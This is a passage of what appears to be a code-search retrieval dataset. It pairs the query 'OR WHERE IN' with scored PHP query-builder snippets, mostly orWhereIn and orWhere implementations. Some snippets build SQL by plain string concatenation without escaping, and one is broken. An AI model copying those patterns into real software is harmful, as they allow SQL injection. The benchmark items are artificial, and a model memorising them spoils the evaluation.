exists');\n\t\t}\n\n\t\treturn $admin_group;\n\t}", "title": "" }, { "docid": "6680b4dc5f37ef1e0e593d547f3646b2", "score": "0.63577795", "text": "public function addGroup(Request $request)\n {\n if (Auth::check()) {\n $user = Auth::user()->id;\n $createGroup = Group::create([\n 'name'=>$request->name,\n 'description'=>$request->description,\n 'user_id'=> $user\n ]);\n if ($createGroup) {\n return response()->json($createGroup);\n }else {\n back()->withInput()->with('error','Error occured while updating group');\n }\n }else {\n return view('auth.login');\n }\n }", "title": "" }, { "docid": "9a0b01b382690c3df3827808ec35c283", "score": "0.6355018", "text": "public function store(GroupCreateRequest $request)\n {\n $service = app(GroupServices::class );\n\n $group = $service->create($request->input('name'));\n\n $newUserGroupServices = app(UserGroupServices::class );\n\n $newUserGroupServices->create($request->input('users'), $group->id);\n\n return redirect()->route('group.manage.index')\n ->with(['success' => 'you created group']);\n }", "title": "" } ]
17a1068b1f8f6335f28803290e1985a4
OR WHERE IN Generates a WHERE field IN('item', 'item') SQL query, joined with 'OR' if appropriate.
[ { "docid": "a8c7ba132cb7783fc8918f4a58634dda", "score": "0.6757584", "text": "public function or_where_in($key = NULL, $values = NULL, $escape = NULL)\n\t{\n\t\treturn $this->_where_in($key, $values, FALSE, 'OR ', $escape);\n\t}", "title": "" } ]
[ { "docid": "8b70fc5cd1096bc880875ce371c2d451", "score": "0.6885715", "text": "public static function orWhereIn($column, $values)\n {\n }", "title": "" }, { "docid": "ee08dfb17e6baa52b40258b60c9fc2b1", "score": "0.68156886", "text": "function or_where_in($key = NULL, $values = NULL)\r\n\t{\r\n\t \treturn $this->_where_in($key, $values, FALSE, 'OR ');\r\n\t}", "title": "" }, { "docid": "86adb4841301c2d1c44912c91dba38cd", "score": "0.67877305", "text": "public function orWhereIn($field, $val=[]): QueryBuilderInterface\n\t{\n\t\treturn $this->_whereIn($field, $val, 'IN', 'OR');\n\t}", "title": "" }, { "docid": "886ea855a17d67ab940babdb2092cc8e", "score": "0.6656013", "text": "public function or_where_in($key = NULL, $values = NULL, $escape = NULL)\n {\n return $this->_where_in($key, $values, FALSE, 'OR');\n }", "title": "" }, { "docid": "a608ca703da4d5a866e009f9af911a9e", "score": "0.6225218", "text": "public function whereOR()\n {\n $this->where_clause .= \" OR \";\n }", "title": "" }, { "docid": "03c48f5d74d59aa9671d658bf9befa2f", "score": "0.62232727", "text": "public function orWhereIn($column, $values)\n {\n return $this->whereIn($column, $values, 'or');\n }", "title": "" }, { "docid": "cd53c6ca91ff99f34f9e9dfd47f91848", "score": "0.61846143", "text": "public static function orWhereIn($column, $values)\n {\n return self::_s_call('orWhereIn', [$column, $values]);\n }", "title": "" }, { "docid": "0a37cf3c05e7c5f8a8294081544b933c", "score": "0.6182018", "text": "public function orWhere(array $where);", "title": "" }, { "docid": "f0cf4195e61e03a61f179b8d773f3c9a", "score": "0.61796355", "text": "public function or_where_not_in($key = NULL, $values = NULL, $escape = NULL)\n\t{\n\t\treturn $this->_where_in($key, $values, TRUE, 'OR ', $escape);\n\t}", "title": "" }, { "docid": "51f58b54eb2763fc9f41c69d0b3ed614", "score": "0.6094893", "text": "public function whereIn($field, $values, $order);", "title": "" }, { "docid": "a65222bd57cca3d4799764942e85c575", "score": "0.60855895", "text": "function or_where_not_in($key = NULL, $values = NULL)\r\n\t{\r\n\t\treturn $this->_where_in($key, $values, TRUE, 'OR ');\r\n\t}", "title": "" }, { "docid": "b9b65480c69f199eefba50f25eb45d13", "score": "0.60517025", "text": "public function or_where_not_in($key = NULL, $values = NULL, $escape = NULL)\n {\n return $this->_where_in($key, $values, TRUE, 'OR');\n }", "title": "" }, { "docid": "d55b2535483a78984837b6497bd9eee0", "score": "0.5981129", "text": "public function whereOr($value) {\n\t$this->parseQuery->where('$or', $value);\n }", "title": "" }, { "docid": "6b2d904b20f32bf0ed51c257779441e2", "score": "0.5973555", "text": "protected static function logicalOR(){\n\t\t$values = func_get_args();\n\t\tif(is_array($values[0])){\n\t\t\t$values = $values[0];\n\t\t}\n\t\treturn self::junction('OR', $values);\n\t}", "title": "" }, { "docid": "07066b651ae6d6324a04fe44e923fcbb", "score": "0.59048855", "text": "public function orWhere()\n {\n $params = func_get_args();\n $params = (count($params) === 1 and is_array($params[0])) ? $params[0] : $params;\n $count = count($params);\n\n if ($count == 3) {\n\n list($key, $op, $value) = $params;\n $where_component = Factory::build(\n 'Query', \n 'Where', \n [\n 'key' => $key,\n 'op' => $op,\n 'value' => $value\n ]);\n\n if(!empty($this->where) and end($this->where) !== self::SQL_LEFTP) $this->where[] = self::SQL_OR;\n $this->where[] = $where_component;\n \n } elseif ($count === 2) {\n\n list($key, $value) = $params;\n $where_component = Factory::build(\n 'Query', \n 'Where', \n [\n 'key' => $key,\n 'op' => '=',\n 'value' => $value\n ]);\n\n if(!empty($this->where) and end($this->where) !== self::SQL_LEFTP) $this->where[] = self::SQL_OR;\n $this->where[] = $where_component;\n \n\n } elseif ($count === 1 and ($func = array_shift($params)) instanceof Closure) {\n\n if(!empty($this->where) and end($this->where) !== self::SQL_LEFTP) $this->where[] = self::SQL_OR;\n $this->where[] = self::SQL_LEFTP;\n $func($this);\n $this->where[] = self::SQL_RIGHTP;\n\n } elseif($count == 1 and is_array($params[0])) {\n\n foreach($params[0] as $key => $value) {\n $this->where($key, $value);\n }\n \n } else {\n\n throw new InvalidParameterException(\"Query->where(): Invalid number of parameters\");\n\n }\n\n return $this;\n }", "title": "" }, { "docid": "956c5efa2b05399abf3b7c5821d0cad6", "score": "0.58825475", "text": "public function whereOr($where=\"\")\r\n\t{\r\n\t\treturn $this->add('where',$this->_parts['where'].' OR '.$where, true);\r\n\t}", "title": "" }, { "docid": "8ab7bd4653148415c592464116625dca", "score": "0.58250695", "text": "public function whereIn(string $field, array $values, array $options = []);", "title": "" }, { "docid": "6b21a2559e39b105e965f914c0bb825b", "score": "0.58128214", "text": "public function whereIn($field, array $values);", "title": "" }, { "docid": "3619260bc5ff6abda1220e455928d112", "score": "0.5767669", "text": "function fWhereIn( $field, $where_in_array ) {\n $this->db->where_in( $field, $where_in_array );\n $result = $this->db->get( $this->table );\n if ( $result->num_rows() > 0 ) {\n return $result->result_array();\n }else{\n return false;\n }\n }", "title": "" }, { "docid": "23fbb79645996ad4687d32ae3ae89933", "score": "0.57519984", "text": "function dbCreateIN($ItemList)\r\n{\r\n $ItemList = explode(\",\",$ItemList);\r\n foreach($ItemList AS $Item)\r\n {\r\n $ItemListTMP[] = \"'$Item'\";\r\n }\r\n return \" IN (\".join(\",\",$ItemListTMP).\") \";\r\n}", "title": "" }, { "docid": "266684f47d2f0c46c95c903cd6080dc7", "score": "0.5738118", "text": "public function where_in($fileds)\r\n {\r\n // Check whether value passed as array\r\n if(is_array($fileds)):\r\n /** @var $qry TYPE_NAME */\r\n $fields = implode(\",\", $fields);\r\n //Create where in condition with and if value is passed as array\r\n $this->form_where = \" IN(\".$fields.\")\";\r\n return $this;\r\n endif;\r\n }", "title": "" }, { "docid": "42155f7673869dc335b6179695435494", "score": "0.5715457", "text": "public function whereOrObject($objects) {\r\n\t\t$this->addWhereObject('OR', $objects);\r\n\t}", "title": "" }, { "docid": "a0f6df41d220bfa4627a1acf6569f075", "score": "0.56879246", "text": "public function orIn(string $condition, array $values): self\n {\n return $this->orWith($this->unpackCondition($condition, \\count($values)), ...$values);\n }", "title": "" }, { "docid": "c700d2258298ded6f16f09a0536100be", "score": "0.565798", "text": "public function whereIn($field=null,$value=null,$model=null){\n if($this->model==null){\n $this->model=$value;\n }\n\n if(is_array($field) && array_key_exists(1,$field)){\n if(is_array($field[1])){\n $this->whereIn['field']=$field[0];\n $this->whereIn['operator']='=';\n $this->whereIn['value']=implode(\",\",$field[1]);\n }\n\n }\n else{\n if(is_array($value)){\n $this->whereIn['field']=$field;\n $this->whereIn['operator']='=';\n $this->whereIn['value']=implode(\",\",$value);\n }\n\n }\n\n return $this;\n }", "title": "" }, { "docid": "31c36dc4271d61134a63d6c53bdde7df", "score": "0.5645311", "text": "public static function sqlor() {\n\t\t$args = func_get_args();\n\t\t$function = 'or';\n\t\t$res = false;\n\t\tforeach ($args as $arg) {\n\t\t\tif (!empty($arg))\n\t\t\t\t$res[] = $arg;\n\t\t}\n\t\tif (!empty($res))\n\t\t\t$res = '(' . implode(') '.$function.' (', $res) . ')';\n\t\telse\n\t\t\t$res = '1=0';\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "99d26955cb30576083128b1cf8d5edb8", "score": "0.5638922", "text": "private function sql_whereAllItems()\n {\n $where = '1 ' .\n $this->sql_whereAnd_pidList() .\n $this->sql_whereAnd_enableFields() .\n $this->sql_whereAnd_Filter() .\n $this->sql_whereAnd_fromTS() .\n $this->sql_whereAnd_sysLanguage();\n // Get WHERE statement\n // RETURN WHERE statement without a WHERE\n return $where;\n }", "title": "" }, { "docid": "b113b03613ef77711359b1efbc617a06", "score": "0.5631586", "text": "private static function createOrJsonContainsExpression(string $field, array $items, string $path) : Expression\n {\n $i = 0;\n $expression = '(';\n\n foreach ($items as $item) {\n if ($i) {\n $expression .= ' OR ';\n }\n\n $expression .= static::generateExpression($field, $item, $path);\n $i++;\n }\n\n $expression .= ')';\n\n return new Expression($expression);\n }", "title": "" }, { "docid": "79ad01901eac8fd93c887a485e0bd034", "score": "0.5631107", "text": "public function do_or() {\n\t\treturn $this->condition_factory->do_or( func_get_args() );\n\t}", "title": "" }, { "docid": "7a034a88867d02bb82785f348a59457b", "score": "0.5629555", "text": "public function testWhereIn()\n {\n //first order only\n $customers = Customer::index(0)->whereIn('option', [100, 100, 101, 500, 5000])\n ->reject(Query::FULL_SCAN)->get();\n $this->assertEquals(count($customers), 4);\n $this->assertEquals($customers[3]->id, 5000);\n \n //subsequent orWhere\n $customers = Customer::index(0)->whereIn('option', [100, 100, 101, 500, 5000])\n ->orWhere('id', 1000)\n ->reject(Query::FULL_SCAN)->get();\n $this->assertEquals(count($customers), 5);\n $this->assertEquals($customers[4]->id, 5000);\n $this->showMemoryUsage();\n }", "title": "" }, { "docid": "c2f95291c279eafb4205d83a074b05ca", "score": "0.5595967", "text": "public function orWhere() {\n if( func_num_args() === 3) {\n $this->where(array(\n func_get_arg(0) => func_get_arg(2),\n ), func_get_arg(1), 'OR');\n } else if( func_num_args() === 2) {\n $a0 = func_get_arg(0);\n if( is_array($a0) ) {\n $this->where($a0, func_get_arg(1), 'OR');\n } else {\n $this->where(array(\n $a0 => func_get_arg(1),\n ), '=', 'OR');\n }\n } else {\n throw new BadFunctionCallException('Database\\Zoom@orWhere expects at least two parameters! Less given.');\n }\n return $this;\n }", "title": "" }, { "docid": "958f3b359c6a94dc15cc15ea10e566ad", "score": "0.5593693", "text": "public function orWhere($where): QueryBuilderInterface;", "title": "" }, { "docid": "8549e322d57c318a764a1780ac9c41c1", "score": "0.55805117", "text": "function or_where($key, $value = NULL, $escape = TRUE)\r\n\t{\r\n\t\treturn $this->_where($key, $value, 'OR ', $escape);\r\n\t}", "title": "" }, { "docid": "1c9f05baac70c962881fdefc24e8a55d", "score": "0.5552676", "text": "public function orClause()\n {\n if ($this->_hasDqlQueryPart('where')) {\n $this->_addDqlQueryPart('where', 'OR', true);\n }\n\n $this->_addDqlQueryPart('where', '(', true);\n\n $this->_startClause = true;\n\n return $this;\n }", "title": "" }, { "docid": "616b66361612c698b18e7ccc2453c528", "score": "0.55440813", "text": "public function whereIn($column, $values);", "title": "" }, { "docid": "a5abfd0470db7535c9d6191e153aafef", "score": "0.5541393", "text": "public function whereOr($mainInput, string $comparisonOperator = null, $valueToFind = null) : QueryBuilder\n {\n if (is_array($mainInput)) {\n $this->setWhereClauses($mainInput, 'whereOr', 'OR');\n return $this;\n }\n\n // then set array\n $this->setWhereClauses([[$mainInput, $comparisonOperator, $valueToFind]], 'whereOr', 'OR');\n return $this;\n }", "title": "" }, { "docid": "f74216d7bb94a5f644bf2f5556cf50af", "score": "0.55282164", "text": "public function orWhere()\r\n {\r\n $arguments = func_get_args();\r\n $columnName = array_shift($arguments);\r\n $column = $this->getColName($columnName);\r\n list($value, $comparison) = self::getValueAndComparisonFromArguments($arguments);\r\n $this->addCondition('or', $column, $comparison, $value);\r\n \r\n return $this;\r\n }", "title": "" }, { "docid": "559524e12ab37a128cf2c1e363dc2461", "score": "0.5527101", "text": "public function orWhere()\r\n {\r\n $args = func_get_args();\r\n call_user_func_array(array($this->adapter, 'orWhere'), $args);\r\n \r\n return $this;\r\n }", "title": "" }, { "docid": "939740b921f2deb292162138958c1448", "score": "0.550835", "text": "public function orWhere($key, $val=[]): QueryBuilderInterface\n\t{\n\t\treturn $this->_whereString($key, $val, 'OR');\n\t}", "title": "" }, { "docid": "5ae0504408a406e58eebecfd82b35f05", "score": "0.5500825", "text": "public function whereIn($field, $data = array()){\n return $this->model->whereIn($field, $data);\n }", "title": "" }, { "docid": "2dc0283e736b3abf6002796e18b5b4cc", "score": "0.54858214", "text": "public function findWhereIn($field, array $values, $columns = ['*']);", "title": "" }, { "docid": "ee379310f74aac97aa6075d59e9f0a02", "score": "0.547312", "text": "public function or_where($key, $value = NULL, $escape = NULL)\n\t{\n\t\treturn $this->_wh('qb_where', $key, $value, 'OR ', $escape);\n\t}", "title": "" }, { "docid": "038347976a793c15e2e604d8f3661f9c", "score": "0.5471082", "text": "private function _getMultipleOptionFilterConditions($params, $field_name, $other_value, $table_name='Rental')\n\t{\n\t\t$safe_field_name = $this->_getSafeFieldName($field_name);\n\t\t$conditions = array();\n\t\t$possibleValues = json_decode($params[$safe_field_name]);\n\t\tif (count($possibleValues) === 0)\n\t\t\treturn null;\n\n\t\t$conditions['OR'] = array(array($table_name . '.' . $field_name => $possibleValues));\n\n\t\tif (in_array($other_value, $possibleValues))\n\t\t\tarray_push($conditions['OR'], array(\n\t\t\t\t$table_name . '.' . $field_name . ' >=' => $other_value\n\t\t\t));\n\n\t\treturn $conditions;\n\t}", "title": "" }, { "docid": "832da23ece418bfc67082c70215cd7bf", "score": "0.5460074", "text": "public function orConditions($data = array()) {\r\n $filter = $data['filter'];\r\n $condition = array(\r\n 'OR' => array(\r\n $this->alias . '.title LIKE' => '%' . $filter . '%',\r\n $this->alias . '.body LIKE' => '%' . $filter . '%',\r\n )\r\n );\r\n return $condition;\r\n }", "title": "" }, { "docid": "35c403ad8f6cdec4077d4b94e581b663", "score": "0.54578036", "text": "public function orWhereNotIn($field, $val=[]): QueryBuilderInterface\n\t{\n\t\treturn $this->_whereIn($field, $val, 'NOT IN', 'OR');\n\t}", "title": "" }, { "docid": "e690aec7518fcae60d63a22b40b37d2e", "score": "0.54452056", "text": "public function orWhere($column, $operator = null, $value = null);", "title": "" }, { "docid": "9aff35c44ceb2a768ecc5beebd839a74", "score": "0.544005", "text": "public function orWhere($where)\n {\n $where = $this->getQueryPart('where');\n $args = func_get_args();\n\n if ($where instanceof Composite && $where->getType() === Composite::TYPE_OR) {\n $where->addMultiple($args);\n } else {\n array_unshift($args, $where);\n $where = new Composite(Composite::TYPE_OR, $args);\n }\n\n return $this->add('where', $where, true);\n }", "title": "" }, { "docid": "d80d2d3aef259bad3f7b7faa3787029f", "score": "0.54105407", "text": "public function orNest()\n {\n return $this->nest('OR');\n }", "title": "" }, { "docid": "c7dc635aa21c70a1a0fc587806a2fd4d", "score": "0.5401195", "text": "public function visit_operator_or(array $query) \n {\n $parts = array();\n if(!empty($query['WHERE'])) \n { \n $parts = $query['WHERE']; \n $query['WHERE_CLAUSE'][] = sprintf('(%s)', implode(') OR (', $parts));\n }\n\n\n return $query;\n }", "title": "" }, { "docid": "3b32664a04fb6ffb42260a75dd817d38", "score": "0.53999126", "text": "function fun_MySQL_Query_CombineWhere($Type, $arQuery)\n{\n\tif (is_array($arQuery))\n\t{\n\t\t$strQuery = implode(\" $Type \", $arQuery);\n\t}\n\telse\n\t{\n\t\t$strQuery = \"$arQuery\";\n\t}\n\n\t//want parenthesis?\n\t$strQuery = \"$strQuery\";\t\n\n\treturn $strQuery;\n}", "title": "" }, { "docid": "8c1f718f510e6b572865e4f62b550ba1", "score": "0.5397597", "text": "public function orWhere($col, $operator = self::NO_OPERATOR, $value = self::NO_VALUE);", "title": "" }, { "docid": "d658ed0e7b4271b87c77984f8ca5fc1c", "score": "0.53955734", "text": "public function whereOrQuery(Query $subQuery) {\r\n\t\t$this->addWhereQuery('OR', $subQuery);\r\n\t}", "title": "" }, { "docid": "1ce61965ba4c0f4bc0f714d9a0ae1a41", "score": "0.53893703", "text": "function or_like($field, $match = '', $side = 'both')\r\n\t{\r\n\t\treturn $this->_like($field, $match, 'OR ', $side);\r\n\t}", "title": "" }, { "docid": "35b5c56845a32a99e6359e5040c067d8", "score": "0.5382605", "text": "public function findAllWhereIn( array $value, $field, array $columns = ['*'] );", "title": "" }, { "docid": "5e6557c708da54a89d0b35db764a515a", "score": "0.5380098", "text": "public function or_where($key, $value = NULL, $escape = NULL)\n {\n return $this->_wh('qb_where', $key, $value, ' OR ');\n }", "title": "" }, { "docid": "9acce16560a6751546e0ee94ddec42d5", "score": "0.5371445", "text": "public function whereOr( string $column, string $operator, $value, $is_column = FALSE ) : self {\n\n\t\tif ( is_array( $value ) ) {\n\n\t\t\tif ( !$is_column ) {\n\n\t\t\t\tforeach ( $value as &$v ) {\n\n\t\t\t\t\t$v = $this->bind( $v, ':where' );\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->_where->in( $column, !in_array( $operator, [ '!=', '<>', 'NOT IN' ] ), $value, 'OR' );\n\n\t\t}\n\t\telse {\n\n\t\t\tif ( $is_column ) {\n\n\t\t\t\t$this->_where->set( $column, $operator, $value, 'OR' );\n\n\t\t\t}\n\t\t\telse {\n\n\t\t\t\t$this->_where->set( $column, $operator, $this->bind( $value, ':where' ), 'OR' );\n\n\t\t\t}\n\n\t\t}\n\n\t\treturn $this;\n\n\t}", "title": "" }, { "docid": "9c7f7968ebd36598981b922a09266cb2", "score": "0.5341898", "text": "private function addValueInListQuery($key,$value){\n /// \\param[in] $key The key (fieldname)\n /// \\param[in] $value The value(s) of the fieldname\n /// \\return a part of the query or nothing\n global $ORIONDB_DB;\n \n if(($key != \"\") && ($value != \"\")){\n if($this->_queryUnchanged[$this->_numberOfRecursions]){\n $returnQuery = \" WHERE \";\n $this->_queryUnchanged[$this->_numberOfRecursions] = false;\n }\n else {\n $returnQuery = \" AND \"; \n }\n $returnQuery .= $ORIONDB_DB->cleansql($key) . \" in (\" . $ORIONDB_DB->cleansql($value) . \")\";\n return $returnQuery;\n }\n}", "title": "" }, { "docid": "9a81490cc20fa988cf1f9d7861010f2c", "score": "0.5292472", "text": "public function orLike(string $field, $val, string $pos='both'): QueryBuilderInterface\n\t{\n\t\treturn $this->_like($field, $val, $pos, 'LIKE', 'OR');\n\t}", "title": "" }, { "docid": "fb76102283c107064e2f9e66955cf0d6", "score": "0.5291515", "text": "public function or_where($column, $op = null, $value = null)\n {\n if (is_array($column))\n {\n foreach ($column as $key => $val)\n {\n if (is_array($val))\n {\n $this->or_where($val[0], $val[1], $val[2]);\n }\n else\n {\n $this->or_where($key, '=', $val);\n }\n }\n }\n else\n {\n if(func_num_args() === 2)\n {\n $value = $op;\n $op = '=';\n }\n $this->_where[] = array('OR' => array($column, $op, $value));\n }\n\n return $this;\n }", "title": "" }, { "docid": "c478c499b694b1091b7f527128e48370", "score": "0.5276098", "text": "public function whereIn($field, $val=[]): QueryBuilderInterface\n\t{\n\t\treturn $this->_whereIn($field, $val);\n\t}", "title": "" }, { "docid": "bb3b6ee48ff1f6e1cb9d0872b03a9ffa", "score": "0.5274996", "text": "function getSearchCondition(&$query, $table, $value, $searchmode)\n {\n // We only support 'exact' matches.\n // But you can select more than one value, which we search using the IN() statement,\n // which should work in any ansi compatible database.\n $searchcondition = \"\";\n if (is_array($value) && count($value)>0 && $value[0]!=\"\") // This last condition is for when the user selected the 'search all' option, in which case, we don't add conditions at all.\n {\n if (count($value)==1) // exactly one value\n {\n $searchcondition = $query->exactCondition($table.\".\".$this->fieldName(),$this->escapeSQL($value[0]));\n }\n else // search for more values using IN()\n {\n $searchcondition = $table.\".\".$this->fieldName().\" IN ('\".implode(\"','\",$value).\"')\";\n }\n }\n return $searchcondition;\n }", "title": "" }, { "docid": "0e2377f17df91ea36bca1f355ac55a02", "score": "0.5264172", "text": "public function or()\n {\n $this->_whereConnector = 'OR';\n return $this;\n }", "title": "" }, { "docid": "1712f6d869ef361459998de4eda91025", "score": "0.5257294", "text": "public function whereIn(string $fieldName, array $values): static;", "title": "" }, { "docid": "1712f6d869ef361459998de4eda91025", "score": "0.5257294", "text": "public function whereIn(string $fieldName, array $values): static;", "title": "" }, { "docid": "aa10339b1f3e0bec43f095c2c200aaca", "score": "0.5257003", "text": "public function search_in($table,$field,$value,$order){ \n $sql=mysqli_query($this->connect,\"SELECT * from `\".$table.\"` WHERE `\".$field.\"` IN (\".$value.\")order by \".$order.\"\");\nreturn $sql;\n}", "title": "" }, { "docid": "62ebd3d62f08bae7f38d6ddcf762fee4", "score": "0.5255986", "text": "private function where_clause()\n {\n $where_clause = array();\n // make an array of all the subclauses\n foreach ( $this->match_field_list as $field ) {\n $where_clause[] = '`' . $field . '` = \"%s\"';\n }\n // string them all together to build the clause\n return implode( ' AND ', $where_clause);\n }", "title": "" }, { "docid": "59eb376d7c0233c0ed794150e5b231aa", "score": "0.52510047", "text": "function where_in($key = NULL, $values = NULL)\r\n\t{\r\n\t \treturn $this->_where_in($key, $values);\r\n\t}", "title": "" }, { "docid": "e845738e0b53f727432083c1c3c0531c", "score": "0.5215956", "text": "public function where_in($key = NULL, $values = NULL, $escape = NULL)\n\t{\n\t\treturn $this->_where_in($key, $values, FALSE, 'AND ', $escape);\n\t}", "title": "" }, { "docid": "88995acf820b7d00228a016f4f6b433a", "score": "0.5209496", "text": "public function or_like($field, $match = '', $side = 'both', $escape = NULL)\n\t{\n\t\treturn $this->_like($field, $match, 'OR ', $side, '', $escape);\n\t}", "title": "" }, { "docid": "ba49f6930f4cbe0948d3bc96478a5eac", "score": "0.5184893", "text": "public function testOrWhereSQL()\n {\n $sql1 = User::where('id', '>', 10)->orWhereHasIn('tags')->toSql();\n\n $this->assertEquals(\n 'select * from `test_users` where `id` > ? or (`test_users`.`id` in (select `test_user_tags`.`user_id` from `test_tags` inner join `test_user_tags` on `test_tags`.`id` = `test_user_tags`.`tag_id` where `test_users`.`id` = `test_user_tags`.`user_id`))',\n $sql1\n );\n\n /**\n * orWhereHas sql.\n *\n * select * from `test_users` where `id` > ? or exists\n * (\n * select * from `test_tags` inner join `test_user_tags` on `test_tags`.`id` = `test_user_tags`.`tag_id`\n * where `test_users`.`id` = `test_user_tags`.`user_id` and `id` > ? and `username` like ?\n * )\n */\n $sql2 = User::where('id', '>', 10)->orWhereHasIn('tags', function ($q) {\n $q->where('id', '>', 1);\n $q->where('username', 'like', '%la%');\n })->toSql();\n\n $this->assertEquals(\n 'select * from `test_users` where `id` > ? or (`test_users`.`id` in (select `test_user_tags`.`user_id` from `test_tags` inner join `test_user_tags` on `test_tags`.`id` = `test_user_tags`.`tag_id` where `test_users`.`id` = `test_user_tags`.`user_id` and `id` > ? and `username` like ?))',\n $sql2\n );\n }", "title": "" }, { "docid": "137f18deaa6ef90f591245b1bbf19919", "score": "0.51770234", "text": "public function joinWhereIn($whereInArray = array())\r\n\t{\r\n\t $str = $split = \"\";\r\n\t foreach ($whereInArray as $val)\r\n\t {\r\n\t $val = $this->escapeString($val);\r\n\t $str .= $split . '\"' . $val . '\"';\r\n\t $split = \",\";\r\n\t }\r\n\t return $str;\r\n\t}", "title": "" }, { "docid": "dc0b16ca354583de7ffa38f8b0f003b0", "score": "0.514149", "text": "public function havingOR()\n {\n $this->having .= \" OR \";\n }", "title": "" }, { "docid": "7ed20b0a8034a0364f350227e73f33f8", "score": "0.51339597", "text": "protected function _buildListWhere($options)\n\t{\n\t\t$where = array();\n\n\t\t// aggregate clauses\n\t\t$where = (count($where) ? ' WHERE ' . implode(' AND ', $where) : '');\n\n\t\treturn $where;\n\t}", "title": "" }, { "docid": "0144554873230c0a2ae4a19db91ed235", "score": "0.5132912", "text": "function build_generic_where_clause ($the_query_string)\n\t{\n\t\t$where_clauses = Array();\n\n\t\t$the_query_string = PearDatabase::quote(from_html($the_query_string));\n\t\tarray_push($where_clauses, \" flats_items.title LIKE '$the_query_string%' \");\n\n\t\t$the_where = \"\";\n\t\tforeach($where_clauses as $clause)\n\t\t{\n\t\t\tif($the_where != \"\") $the_where .= \" or \";\n\t\t\t$the_where .= $clause;\n\t\t}\n\n\t\treturn $the_where;\n\t}", "title": "" }, { "docid": "664443bd4f3288f27ac0593caefff5e4", "score": "0.51309574", "text": "private static function getWhereString($item, $key, &$where_str, &$parameters, $or = false)\n {\n if (count($item) < 2 || count($item) > 4) return;\n\n if ($or) $where_str .= ' OR ';\n elseif ($key != 0) $where_str .= ' AND ';\n \n if (count($item) < 3):\n $where_str .= \"{$item[0]} = ?\";\n $parameters[] = $item[1];\n else:\n if ((count($item) > 3) && is_array($item[3])):\n $where_str .= (\"{$item[0]} {$item[1]} \" . (in_array($item[1], self::$excludedOperators) ? $item[2] : '?'));\n \n if (!in_array($item[1], self::$excludedOperators))\n $parameters[] = $item[2];\n\n self::getWhereString($item[3], null, $where_str, $parameters, true);\n elseif (is_array($item[2])):\n $where_str .= \"{$item[0]} = ?\";\n $parameters[] = $item[1];\n\n self::getWhereString($item[2], null, $where_str, $parameters, true);\n else:\n $where_str .= (\"{$item[0]} {$item[1]} \" . (in_array($item[1], self::$excludedOperators) ? $item[2] : '?'));\n \n if (!in_array($item[1], self::$excludedOperators))\n $parameters[] = $item[2];\n endif;\n endif;\n }", "title": "" }, { "docid": "ca31bca498518be036043d36bef6c842", "score": "0.51099545", "text": "public function get_items_query_clauses( $args, $wp_query ) {\n\t\tglobal $wpdb;\n\n\t\tif ( $wp_query->get( 'search' ) ) {\n\t\t\t$search = \"'%\" . $wpdb->esc_like( $wp_query->get( 'search' ) ) . \"%'\";\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= \" AND ({$wpdb->posts}.post_title LIKE {$search}\";\n\t\t\t$args['where'] .= wc_product_sku_enabled() ? ' OR wc_product_meta_lookup.sku LIKE ' . $search . ')' : ')';\n\t\t}\n\n\t\tif ( $wp_query->get( 'sku' ) ) {\n\t\t\t$skus = explode( ',', $wp_query->get( 'sku' ) );\n\t\t\t// Include the current string as a SKU too.\n\t\t\tif ( 1 < count( $skus ) ) {\n\t\t\t\t$skus[] = $wp_query->get( 'sku' );\n\t\t\t}\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= ' AND wc_product_meta_lookup.sku IN (\"' . implode( '\",\"', array_map( 'esc_sql', $skus ) ) . '\")';\n\t\t}\n\n\t\tif ( $wp_query->get( 'min_price' ) ) {\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.min_price >= %f ', floatval( $wp_query->get( 'min_price' ) ) );\n\t\t}\n\n\t\tif ( $wp_query->get( 'max_price' ) ) {\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.max_price <= %f ', floatval( $wp_query->get( 'max_price' ) ) );\n\t\t}\n\n\t\tif ( $wp_query->get( 'stock_status' ) ) {\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.stock_status = %s ', $wp_query->get( 'stock_status' ) );\n\t\t}\n\n\t\tif ( $wp_query->get( 'low_in_stock' ) ) {\n\t\t\t$low_stock = absint( max( get_option( 'woocommerce_notify_low_stock_amount' ), 1 ) );\n\t\t\t$args['join'] = $this->append_product_sorting_table_join( $args['join'] );\n\t\t\t$args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.stock_quantity <= %d', $low_stock );\n\t\t}\n\n\t\treturn $args;\n\t}", "title": "" }, { "docid": "f7986a10f03253e73efb4bf46f613784", "score": "0.5104122", "text": "public function orOn(array|string $column, string $op = null, array|string $value = null): void\n {\n if (func_num_args() === 2) {\n $value = $op;\n $op = '=';\n }\n\n $this->on[] = [$column, $op, $value, 'OR'];\n }", "title": "" }, { "docid": "26e4679512083eef44fbd6949eb05bab", "score": "0.50962156", "text": "public function getRows_using_IN($tbl,$where_in_id_arr,$select_col='',$where_arr='')\n {\n\n if($select_col!=''){\n $this->db->select($select_col);\n }\n if($where_arr!=''){\n $this->db->where($where_arr);\n }\n $this->db->where_in('id', $where_in_id_arr);\n $result = $this->db->get($tbl);\n return $result->result();\n }", "title": "" }, { "docid": "8c82c446336f8d36b6e1077869cf5562", "score": "0.509287", "text": "function search2filters($array, $noquotes=false) {\n if(!$array) return;\n $filters = array();\n $operators = get_operators();\n if(is_object($array)) $array = (array) $array;\n\n if(!is_array($array) && ($_SESSION['dev'] || $_SESSION['test'])) {\n echo(\"Search2filters: arg not array\");\n dump($array);\n $array = (array) $array;\n }\n foreach($array as $k => $v) { \n $filter = $filter2 = '';\n if($k == DB_LOGICAL_OR && is_array($v) && count($v) >= 2) { \n // can only be used once, and only for different keys like this - see below for use for same key\n // $search[DB_LOGICAL_OR] = array('city_id' => 1000, 'site_id' => 10); \n $terms = search2filters($v);\n if(count($terms) >= 2) $filter= '('.implode(' OR ', $terms).')';\n // usage: $search[DB_LOGICAL_AND] = array('city_id' => ['>', 1000], 'city_id' => ['<', 2000]); \n /** not tested */\n } elseif($k == DB_LOGICAL_AND && 